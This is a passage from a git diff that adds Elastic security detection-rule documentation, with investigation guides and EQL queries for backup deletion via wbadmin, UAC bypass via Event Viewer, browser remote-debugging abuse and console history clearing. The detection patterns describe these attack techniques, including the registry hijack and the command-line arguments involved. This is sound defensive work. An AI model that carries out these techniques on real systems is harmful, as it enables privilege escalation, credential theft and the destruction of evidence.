deletion aligns with scheduled maintenance and consider excluding these operations from alerts. +- Automated scripts or tools used for infrastructure management might delete Network Watchers as part of their normal operation. Identify these scripts and whitelist their activity to prevent false positives. +- Changes in network architecture or resource reallocation can lead to legitimate deletions. Review change management logs to confirm if the deletion was planned and adjust the detection rule to exclude these scenarios. +- Test environments often undergo frequent changes, including the deletion of Network Watchers. If these environments are known to generate false positives, consider creating exceptions for specific resource groups or subscriptions associated with testing. + + +*Response and remediation* + + +- Immediately isolate the affected Azure resources to prevent further unauthorized actions. This can be done by restricting network access or applying stricter security group rules. +- Review Azure activity logs to identify the user or service principal responsible for the deletion. Verify if the action was authorized and investigate any suspicious accounts. +- Restore the deleted Network Watcher by redeploying it in the affected regions to resume monitoring and logging capabilities. +- Conduct a security review of the affected Azure environment to identify any other potential misconfigurations or unauthorized changes. +- Implement stricter access controls and auditing for Azure resources, ensuring that only authorized personnel have the ability to delete critical monitoring tools like Network Watchers. +- Escalate the incident to the security operations team for further investigation and to determine if additional security measures are necessary. +- Enhance detection capabilities by ensuring that alerts for similar deletion activities are configured to notify the security team immediately. + +==== Setup + + +The Azure Fleet integration, Filebeat module, or similarly structured data is required to be compatible with this rule. + +==== Rule query + + +[source, js] +---------------------------------- +data_stream.dataset:azure.activitylogs and azure.activitylogs.operation_name:"MICROSOFT.NETWORK/NETWORKWATCHERS/DELETE" and event.outcome:(Success or success) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Impair Defenses +** ID: T1562 +** Reference URL: https://attack.mitre.org/techniques/T1562/ +* Sub-technique: +** Name: Disable or Modify Tools +** ID: T1562.001 +** Reference URL: https://attack.mitre.org/techniques/T1562/001/ +* Sub-technique: +** Name: Disable or Modify Cloud Logs +** ID: T1562.008 +** Reference URL: https://attack.mitre.org/techniques/T1562/008/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-backup-deletion-with-wbadmin.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-backup-deletion-with-wbadmin.asciidoc new file mode 100644 index 0000000000..b10d084478 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-backup-deletion-with-wbadmin.asciidoc @@ -0,0 +1,135 @@ +[[prebuilt-rule-8-19-21-backup-deletion-with-wbadmin]] +=== Backup Deletion with Wbadmin + +Detects use of wbadmin.exe to delete backup catalogs, system state backups, or other backup data. Ransomware and other malware may do this to prevent system recovery. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Impact +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 319 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Backup Deletion with Wbadmin* + + +Windows Server Backup stores the details about your backups (what volumes are backed up and where the backups are located) in a file called a backup catalog, which ransomware victims can use to recover corrupted backup files. Deleting these files is a common step in threat actor playbooks. + +This rule identifies the deletion of the backup catalog using the `wbadmin.exe` utility. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Assess whether this behavior is prevalent in the environment by looking for similar occurrences across hosts. +- Check if any files on the host machine have been encrypted. + + +*False positive analysis* + + +- Administrators can use this command to delete corrupted catalogs, but overall the activity is unlikely to be legitimate. + + +*Related rules* + + +- Third-party Backup Files Deleted via Unexpected Process - 11ea6bec-ebde-4d71-a8e9-784948f8e3e9 +- Volume Shadow Copy Deleted or Resized via VssAdmin - b5ea4bfe-a1b2-421f-9d47-22a75a6f2921 +- Volume Shadow Copy Deletion via PowerShell - d99a037b-c8e2-47a5-97b9-170d076827c4 +- Volume Shadow Copy Deletion via WMIC - dc9c1f74-dac3-48e3-b47f-eb79db358f57 + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Consider isolating the involved host to prevent destructive behavior, which is commonly associated with this activity. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- If any other destructive action was identified on the host, it is recommended to prioritize the investigation and look for ransomware preparation and execution activities. +- If any backups were affected: + - Perform data recovery locally or restore the backups from replicated copies (cloud, other servers, etc.). +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + (process.name : "wbadmin.exe" or ?process.pe.original_file_name == "WBADMIN.EXE") and + process.args : ("catalog", "backup", "systemstatebackup") and process.args : "delete" + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Impact +** ID: TA0040 +** Reference URL: https://attack.mitre.org/tactics/TA0040/ +* Technique: +** Name: Data Destruction +** ID: T1485 +** Reference URL: https://attack.mitre.org/techniques/T1485/ +* Technique: +** Name: Inhibit System Recovery +** ID: T1490 +** Reference URL: https://attack.mitre.org/techniques/T1490/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-browser-extension-install.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-browser-extension-install.asciidoc new file mode 100644 index 0000000000..8d58c04ff1 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-browser-extension-install.asciidoc @@ -0,0 +1,155 @@ +[[prebuilt-rule-8-19-21-browser-extension-install]] +=== Browser Extension Install + +Identifies the install of browser extensions. Malicious browser extensions can be installed via app store downloads masquerading as legitimate extensions, social engineering, or by an adversary that has already compromised a system. + +*Rule type*: eql + +*Rule indices*: + +* logs-endpoint.events.file-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-windows.sysmon_operational-* +* winlogbeat-* +* endgame-* + +*Severity*: low + +*Risk score*: 21 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Persistence +* Data Source: Elastic Defend +* Data Source: Elastic Endgame +* Data Source: SentinelOne +* Data Source: Sysmon +* Data Source: Microsoft Defender XDR +* Resources: Investigation Guide + +*Version*: 209 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Browser Extension Install* + +Browser extensions enhance functionality in web browsers but can be exploited by adversaries to gain persistence or execute malicious activities. Attackers may disguise harmful extensions as legitimate or use compromised systems to install them. The detection rule identifies suspicious extension installations by monitoring file creation events in typical extension directories, filtering out known safe processes, and focusing on Windows environments. + + +*Possible investigation steps* + + +- Review the file creation event details to identify the specific browser extension file (e.g., .xpi or .crx) and its path to determine if it aligns with known malicious patterns or locations. +- Check the process that initiated the file creation event, especially if it is not a known safe process like firefox.exe, to assess if it is a legitimate application or potentially malicious. +- Investigate the user account associated with the file creation event to determine if the activity is expected or if the account may have been compromised. +- Examine recent system activity and logs for any signs of social engineering attempts or unauthorized access that could have led to the installation of the extension. +- Cross-reference the extension file name and path with threat intelligence sources to identify if it is associated with known malicious browser extensions. +- If applicable, review the browser's extension management interface to verify the presence and legitimacy of the installed extension. + + +*False positive analysis* + + +- Language pack installations for Firefox can trigger false positives. Exclude files named "langpack-*@firefox.mozilla.org.xpi" from detection to prevent unnecessary alerts. +- Dictionary add-ons for Firefox may also be flagged. Add exceptions for files named "*@dictionaries.addons.mozilla.org.xpi" to reduce false positives. +- Regular updates or installations of legitimate browser extensions from trusted sources can be mistaken for malicious activity. Maintain a list of trusted processes and paths to exclude from monitoring. +- User-initiated installations from official browser stores might be flagged. Educate users on safe installation practices and consider excluding known safe processes like "firefox.exe" when associated with legitimate extension paths. +- Frequent installations in enterprise environments due to software deployment tools can cause alerts. Coordinate with IT to identify and exclude these routine activities from detection. + + +*Response and remediation* + + +- Isolate the affected system from the network to prevent further spread or communication with potential command and control servers. +- Terminate any suspicious processes associated with the unauthorized browser extension installation, such as unknown or unexpected instances of browser processes. +- Remove the malicious browser extension by deleting the associated files from the extension directories identified in the alert. +- Conduct a full antivirus and anti-malware scan on the affected system to identify and remove any additional threats or remnants of the malicious extension. +- Review and reset browser settings to default to ensure no residual configurations or settings are left by the malicious extension. +- Escalate the incident to the security operations team for further investigation and to determine if additional systems are affected. +- Implement application whitelisting to prevent unauthorized browser extensions from being installed in the future, focusing on the directories and file types identified in the detection query. + +==== Rule query + + +[source, js] +---------------------------------- +file where host.os.type == "windows" and event.type : "creation" and +( + /* Firefox-Based Browsers */ + ( + file.name : "*.xpi" and + file.path : "?:\\Users\\*\\AppData\\Roaming\\*\\Profiles\\*\\Extensions\\*.xpi" and + not + ( + process.name : "firefox.exe" and + file.name : ( + "langpack-*@firefox.mozilla.org.xpi", + "*@dictionaries.addons.mozilla.org.xpi", + "newtab@mozilla.org.xpi", + "uBlock0@raymondhill.net.xpi", + /* AdBlockPlus */ + "{d10d0bf8-f5b5-c8b4-a8b2-2b9879e08c5d}.xpi", + /* Bitwarden */ + "{446900e4-71c2-419f-a6a7-df9c091e268b}.xpi", + "addon@darkreader.org.xpi", + /* 1Password */ + "{d634138d-c276-4fc8-924b-40a0ea21d284}.xpi", + "support@lastpass.com.xpi", + /* Grammarly */ + "87677a2c52b84ad3a151a4a72f5bd3c4@jetpack.xpi", + "sentinelone_visibility@sentinelone.com.xpi", + "keepassxc-browser@keepassxc.org.xpi" + ) + ) + ) or + /* Chromium-Based Browsers */ + ( + file.name : "*.crx" and + file.path : "?:\\Users\\*\\AppData\\Local\\*\\*\\User Data\\Webstore Downloads\\*" + ) +) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Persistence +** ID: TA0003 +** Reference URL: https://attack.mitre.org/tactics/TA0003/ +* Technique: +** Name: Software Extensions +** ID: T1176 +** Reference URL: https://attack.mitre.org/techniques/T1176/ +* Sub-technique: +** Name: Browser Extensions +** ID: T1176.001 +** Reference URL: https://attack.mitre.org/techniques/T1176/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-browser-process-spawned-from-an-unusual-parent.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-browser-process-spawned-from-an-unusual-parent.asciidoc new file mode 100644 index 0000000000..c7d880748a --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-browser-process-spawned-from-an-unusual-parent.asciidoc @@ -0,0 +1,160 @@ +[[prebuilt-rule-8-19-21-browser-process-spawned-from-an-unusual-parent]] +=== Browser Process Spawned from an Unusual Parent + +Identifies instances where an unusual process spawns a chrome browser child process. This behavior could be related to malware stealing browser information. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://www.elastic.co/security-labs/katz-and-mouse-game + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Credential Access +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Resources: Investigation Guide + +*Version*: 3 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + +> **Disclaimer**: +> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs. + + +*Investigating Browser Process Spawned from an Unusual Parent* + + + +*Possible investigation steps* + + +- Review the process execution details to confirm that a web browser process (e.g., chrome.exe, msedge.exe, firefox.exe) has an unusual or suspicious parent process. Focus on the process.parent.name, process.name, and process.args fields. +- Examine the command line arguments for signs of remote debugging flags (e.g., --remote-debugging-port, --remote-debugging-pipe) or injected DLLs that could indicate attempts to hijack browser sessions. +- Check whether the parent process is a scripting host (e.g., wscript.exe, cscript.exe), system utility, or unexpected binary (e.g., cmd.exe, rundll32.exe, powershell.exe) rather than the legitimate browser updater or system launcher. +- Investigate if the suspicious parent process has a known reputation or hash linked to malware or credential-stealing tools by correlating with threat intelligence sources. +- Look for additional related processes spawned by the browser that might indicate malicious activity, such as network connections to unusual external IPs or data exfiltration attempts. +- Review authentication logs to identify if any credential theft attempts occurred shortly after the suspicious browser activity, focusing on abnormal logins, failed authentications, or credential access patterns. +- Cross-reference with endpoint telemetry (e.g., Defender for Endpoint, Sysmon) to identify whether this event is part of a broader intrusion attempt involving code injection or persistence mechanisms. + + +*False positive analysis* + + +- Certain enterprise management or testing tools may launch browsers with remote debugging enabled for automation purposes. Identify and document such legitimate tools and processes. +- Development environments may use browser remote debugging features during legitimate software testing. Exclude known dev/test machines or users from triggering alerts in production environments. +- Security testing frameworks or internal red team activities may use similar techniques. Coordinate with authorized security teams to whitelist scheduled exercises. +- Browser extensions or third-party plugins could sometimes spawn processes that appear unusual. Validate if the behavior aligns with known, legitimate extensions. +- Automated IT scripts or orchestration tools might start browsers in debugging mode for monitoring purposes. Whitelist these cases based on process path, signature, or command-line arguments. + + +*Response and remediation* + + +- Isolate the affected endpoint from the network to prevent potential credential theft or data exfiltration. +- Terminate any suspicious processes identified in the alert, including both the browser and its anomalous parent process. +- Collect forensic artifacts (process memory, browser profiles, injected modules) for further investigation and potential IOCs. +- Reset credentials for accounts that may have been exposed through the compromised browser session. +- Deploy updated endpoint protection signatures and enable stricter application control policies to prevent browsers from being launched by untrusted processes. +- Enhance monitoring for browser processes launched with debugging flags or code injection indicators across the environment. +- Escalate to the SOC or IR team to determine whether this event is part of a larger credential theft campaign or linked to other lateral movement activity. + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.name : ("chrome.exe", "msedge.exe") and + process.parent.executable != null and process.command_line != null and + ( + process.command_line : + ("\"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\msedge.exe\"", + "\"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\"", + "\"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\" --headless --disable-logging --log-level=3 --v=0", + "\"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\" --headless --log-level=3", + "\"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\" --headless", + "\"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\" --remote-debugging-port=922? --profile-directory=\"Default\"*", + "\"C:\\Program Files\\Google\\Chrome\\Application\\chrome.exe\" --headless --restore-last-session --remote-debugging-port=45452*") or + + (process.args : "--remote-debugging-port=922?" and process.args : "--window-position=-*,-*") + ) and + not process.parent.executable : + ("C:\\Windows\\explorer.exe", + "C:\\Program Files (x86)\\*.exe", + "C:\\Program Files\\*.exe", + "C:\\Windows\\System32\\rdpinit.exe", + "C:\\Windows\\System32\\sihost.exe", + "C:\\Windows\\System32\\RuntimeBroker.exe", + "C:\\Windows\\System32\\SECOCL64.exe") + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Credential Access +** ID: TA0006 +** Reference URL: https://attack.mitre.org/tactics/TA0006/ +* Technique: +** Name: Steal Web Session Cookie +** ID: T1539 +** Reference URL: https://attack.mitre.org/techniques/T1539/ +* Technique: +** Name: Credentials from Password Stores +** ID: T1555 +** Reference URL: https://attack.mitre.org/techniques/T1555/ +* Sub-technique: +** Name: Credentials from Web Browsers +** ID: T1555.003 +** Reference URL: https://attack.mitre.org/techniques/T1555/003/ +* Tactic: +** Name: Collection +** ID: TA0009 +** Reference URL: https://attack.mitre.org/tactics/TA0009/ +* Technique: +** Name: Browser Session Hijacking +** ID: T1185 +** Reference URL: https://attack.mitre.org/techniques/T1185/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-bypass-uac-via-event-viewer.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-bypass-uac-via-event-viewer.asciidoc new file mode 100644 index 0000000000..470f797639 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-bypass-uac-via-event-viewer.asciidoc @@ -0,0 +1,170 @@ +[[prebuilt-rule-8-19-21-bypass-uac-via-event-viewer]] +=== Bypass UAC via Event Viewer + +Identifies User Account Control (UAC) bypass via eventvwr.exe. Attackers bypass UAC to stealthily execute code with elevated permissions. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: high + +*Risk score*: 73 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: None + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Privilege Escalation +* Tactic: Defense Evasion +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Microsoft Defender XDR +* Data Source: Windows Security Event Logs +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 322 + +*Rule authors*: + +* Elastic + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Bypass UAC via Event Viewer* + + +Windows User Account Control (UAC) allows a program to elevate its privileges (tracked as low to high integrity levels) to perform a task under administrator-level permissions, possibly by prompting the user for confirmation. UAC can deny an operation under high-integrity enforcement, or allow the user to perform the action if they are in the local administrators group and enter an administrator password when prompted. + +For more information about the UAC and how it works, check the https://docs.microsoft.com/en-us/windows/security/identity-protection/user-account-control/how-user-account-control-works[official Microsoft docs page]. + +During startup, `eventvwr.exe` checks the registry value of the `HKCU\Software\Classes\mscfile\shell\open\command` registry key for the location of `mmc.exe`, which is used to open the `eventvwr.msc` saved console file. If the location of another binary or script is added to this registry value, it will be executed as a high-integrity process without a UAC prompt being displayed to the user. This rule detects this UAC bypass by monitoring processes spawned by `eventvwr.exe` other than `mmc.exe` and `werfault.exe`. + +> **Note**: +> This investigation guide uses the https://www.elastic.co/guide/en/security/current/invest-guide-run-osquery.html[Osquery Markdown Plugin] introduced in Elastic Stack version 8.5.0. Older Elastic Stack versions will display unrendered Markdown in this guide. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Investigate other alerts associated with the user/host during the past 48 hours. +- Inspect the host for suspicious or abnormal behavior in the alert timeframe. +- Investigate any abnormal behavior by the subject process such as network connections, registry or file modifications, and any spawned child processes. +- Examine the host for derived artifacts that indicate suspicious activities: + - Analyze the process executable using a private sandboxed analysis system. + - Observe and collect information about the following activities in both the sandbox and the alert subject host: + - Attempts to contact external domains and addresses. + - Use the Elastic Defend network events to determine domains and addresses contacted by the subject process by filtering by the process' `process.entity_id`. + - Examine the DNS cache for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve DNS Cache","query":"SELECT * FROM dns_cache"}} + - Use the Elastic Defend registry events to examine registry keys accessed, modified, or created by the related processes in the process tree. + - Examine the host services for suspicious or anomalous entries. + - !{osquery{"label":"Osquery - Retrieve All Services","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services"}} + - !{osquery{"label":"Osquery - Retrieve Services Running on User Accounts","query":"SELECT description, display_name, name, path, pid, service_type, start_type, status, user_account FROM services WHERE\nNOT (user_account LIKE '%LocalSystem' OR user_account LIKE '%LocalService' OR user_account LIKE '%NetworkService' OR\nuser_account == null)\n"}} + - !{osquery{"label":"Osquery - Retrieve Service Unsigned Executables with Virustotal Link","query":"SELECT concat('https://www.virustotal.com/gui/file/', sha1) AS VtLink, name, description, start_type, status, pid,\nservices.path FROM services JOIN authenticode ON services.path = authenticode.path OR services.module_path =\nauthenticode.path JOIN hash ON services.path = hash.path WHERE authenticode.result != 'trusted'\n"}} + - Retrieve the files' SHA-256 hash values using the PowerShell `Get-FileHash` cmdlet and search for the existence and reputation of the hashes in resources like VirusTotal, Hybrid-Analysis, CISCO Talos, Any.run, etc. +- Investigate potentially compromised accounts. Analysts can do this by searching for login events (for example, 4624) to the target host after the registry modification. + + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- If the triage identified malware, search the environment for additional compromised hosts. + - Implement temporary network rules, procedures, and segmentation to contain the malware. + - Stop suspicious processes. + - Immediately block the identified indicators of compromise (IoCs). + - Inspect the affected systems for additional malware backdoors like reverse shells, reverse proxies, or droppers that attackers could use to reinfect the system. +- Remove and block malicious artifacts identified during triage. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + process.parent.name : "eventvwr.exe" and + not process.executable : ( + "?:\\Windows\\SysWOW64\\mmc.exe", + "?:\\Windows\\System32\\mmc.exe", + "?:\\Windows\\SysWOW64\\WerFault.exe", + "?:\\Windows\\System32\\WerFault.exe", + + /* Crowdstrike specific exclusion as it uses NT Object paths */ + "\\Device\\HarddiskVolume*\\Windows\\Sys?????\\mmc.exe", + "\\Device\\HarddiskVolume*\\Windows\\Sys?????\\WerFault.exe" + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Privilege Escalation +** ID: TA0004 +** Reference URL: https://attack.mitre.org/tactics/TA0004/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Bypass User Account Control +** ID: T1548.002 +** Reference URL: https://attack.mitre.org/techniques/T1548/002/ +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Abuse Elevation Control Mechanism +** ID: T1548 +** Reference URL: https://attack.mitre.org/techniques/T1548/ +* Sub-technique: +** Name: Bypass User Account Control +** ID: T1548.002 +** Reference URL: https://attack.mitre.org/techniques/T1548/002/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-clearing-windows-console-history.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-clearing-windows-console-history.asciidoc new file mode 100644 index 0000000000..373a869934 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-clearing-windows-console-history.asciidoc @@ -0,0 +1,152 @@ +[[prebuilt-rule-8-19-21-clearing-windows-console-history]] +=== Clearing Windows Console History + +Identifies when a user attempts to clear console history. An adversary may clear the command history of a compromised account to conceal the actions undertaken during an intrusion. + +*Rule type*: eql + +*Rule indices*: + +* endgame-* +* logs-crowdstrike.fdr* +* logs-endpoint.events.process-* +* logs-m365_defender.event-* +* logs-sentinel_one_cloud_funnel.* +* logs-system.security* +* logs-windows.forwarded* +* logs-windows.sysmon_operational-* +* winlogbeat-* + +*Severity*: medium + +*Risk score*: 47 + +*Runs every*: 5m + +*Searches indices from*: now-9m ({ref}/common-options.html#date-math[Date Math format], see also <>) + +*Maximum alerts per execution*: 100 + +*References*: + +* https://stefanos.cloud/kb/how-to-clear-the-powershell-command-history/ +* https://www.shellhacks.com/clear-history-powershell/ +* https://community.sophos.com/sophos-labs/b/blog/posts/powershell-command-history-forensics + +*Tags*: + +* Domain: Endpoint +* OS: Windows +* Use Case: Threat Detection +* Tactic: Defense Evasion +* Tactic: Execution +* Resources: Investigation Guide +* Data Source: Elastic Endgame +* Data Source: Elastic Defend +* Data Source: Windows Security Event Logs +* Data Source: Microsoft Defender XDR +* Data Source: Sysmon +* Data Source: SentinelOne +* Data Source: Crowdstrike + +*Version*: 319 + +*Rule authors*: + +* Austin Songer + +*Rule license*: Elastic License v2 + + +==== Investigation guide + + + +*Triage and analysis* + + + +*Investigating Clearing Windows Console History* + + +PowerShell is one of the main tools system administrators use for automation, report routines, and other tasks. This makes it available for use in various environments, and creates an attractive way for attackers to execute code. + +Attackers can try to cover their tracks by clearing PowerShell console history. PowerShell has two different ways of logging commands: the built-in history and the command history managed by the PSReadLine module. This rule looks for the execution of commands that can clear the built-in PowerShell logs or delete the `ConsoleHost_history.txt` file. + + +*Possible investigation steps* + + +- Investigate the process execution chain (parent process tree) for unknown processes. Examine their executable files for prevalence, whether they are located in expected locations, and if they are signed with valid digital signatures. +- Identify the user account that performed the action and whether it should perform this kind of action. +- Contact the account owner and confirm whether they are aware of this activity. +- Investigate other alerts associated with the user/host during the past 48 hours. + - Verify if any other anti-forensics behaviors were observed. +- Investigate the PowerShell logs on the SIEM to determine if there was suspicious behavior that an attacker may be trying to cover up. + + +*False positive analysis* + + +- This activity is unlikely to happen legitimately. Benign true positives (B-TPs) can be added as exceptions if necessary. + + +*Response and remediation* + + +- Initiate the incident response process based on the outcome of the triage. +- Isolate the involved host to prevent further post-compromise behavior. +- Investigate credential exposure on systems compromised or used by the attacker to ensure all compromised accounts are identified. Reset passwords for these accounts and other potentially compromised credentials, such as email, business systems, and web services. +- Run a full antimalware scan. This may reveal additional artifacts left in the system, persistence mechanisms, and malware components. +- Determine the initial vector abused by the attacker and take action to prevent reinfection through the same vector. +- Using the incident response data, update logging and audit policies to improve the mean time to detect (MTTD) and the mean time to respond (MTTR). + - Ensure that PowerShell auditing policies and log collection are in place to grant future visibility. + + +==== Rule query + + +[source, js] +---------------------------------- +process where host.os.type == "windows" and event.type == "start" and + ( + process.name : ("powershell.exe", "pwsh.exe", "powershell_ise.exe") or + ?process.pe.original_file_name in ("PowerShell.EXE", "pwsh.dll", "powershell_ise.EXE") + ) and + ( + process.command_line : "*Clear-History*" or + ( + process.command_line : ("*Remove-Item*", "* rm *") and + process.command_line : ("*ConsoleHost_history.txt*", "*(Get-PSReadlineOption).HistorySavePath*") + ) or + (process.command_line : "*Set-PSReadlineOption*" and process.command_line : "*SaveNothing*") + ) + +---------------------------------- + +*Framework*: MITRE ATT&CK^TM^ + +* Tactic: +** Name: Defense Evasion +** ID: TA0005 +** Reference URL: https://attack.mitre.org/tactics/TA0005/ +* Technique: +** Name: Indicator Removal +** ID: T1070 +** Reference URL: https://attack.mitre.org/techniques/T1070/ +* Sub-technique: +** Name: Clear Command History +** ID: T1070.003 +** Reference URL: https://attack.mitre.org/techniques/T1070/003/ +* Tactic: +** Name: Execution +** ID: TA0002 +** Reference URL: https://attack.mitre.org/tactics/TA0002/ +* Technique: +** Name: Command and Scripting Interpreter +** ID: T1059 +** Reference URL: https://attack.mitre.org/techniques/T1059/ +* Sub-technique: +** Name: PowerShell +** ID: T1059.001 +** Reference URL: https://attack.mitre.org/techniques/T1059/001/ diff --git a/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-clearing-windows-event-logs.asciidoc b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-clearing-windows-event-logs.asciidoc new file mode 100644 index 0000000000..06f452f156 --- /dev/null +++ b/docs/detections/prebuilt-rules/downloadable-packages/8-19-21/prebuilt-rule-8-19-21-clearing-windows-event-logs.asciidoc @@ -0,0 +1,147 @@ +[[prebuilt-rule-8-19-21-clearing-windows-event-logs]] +=== Clearing Windows 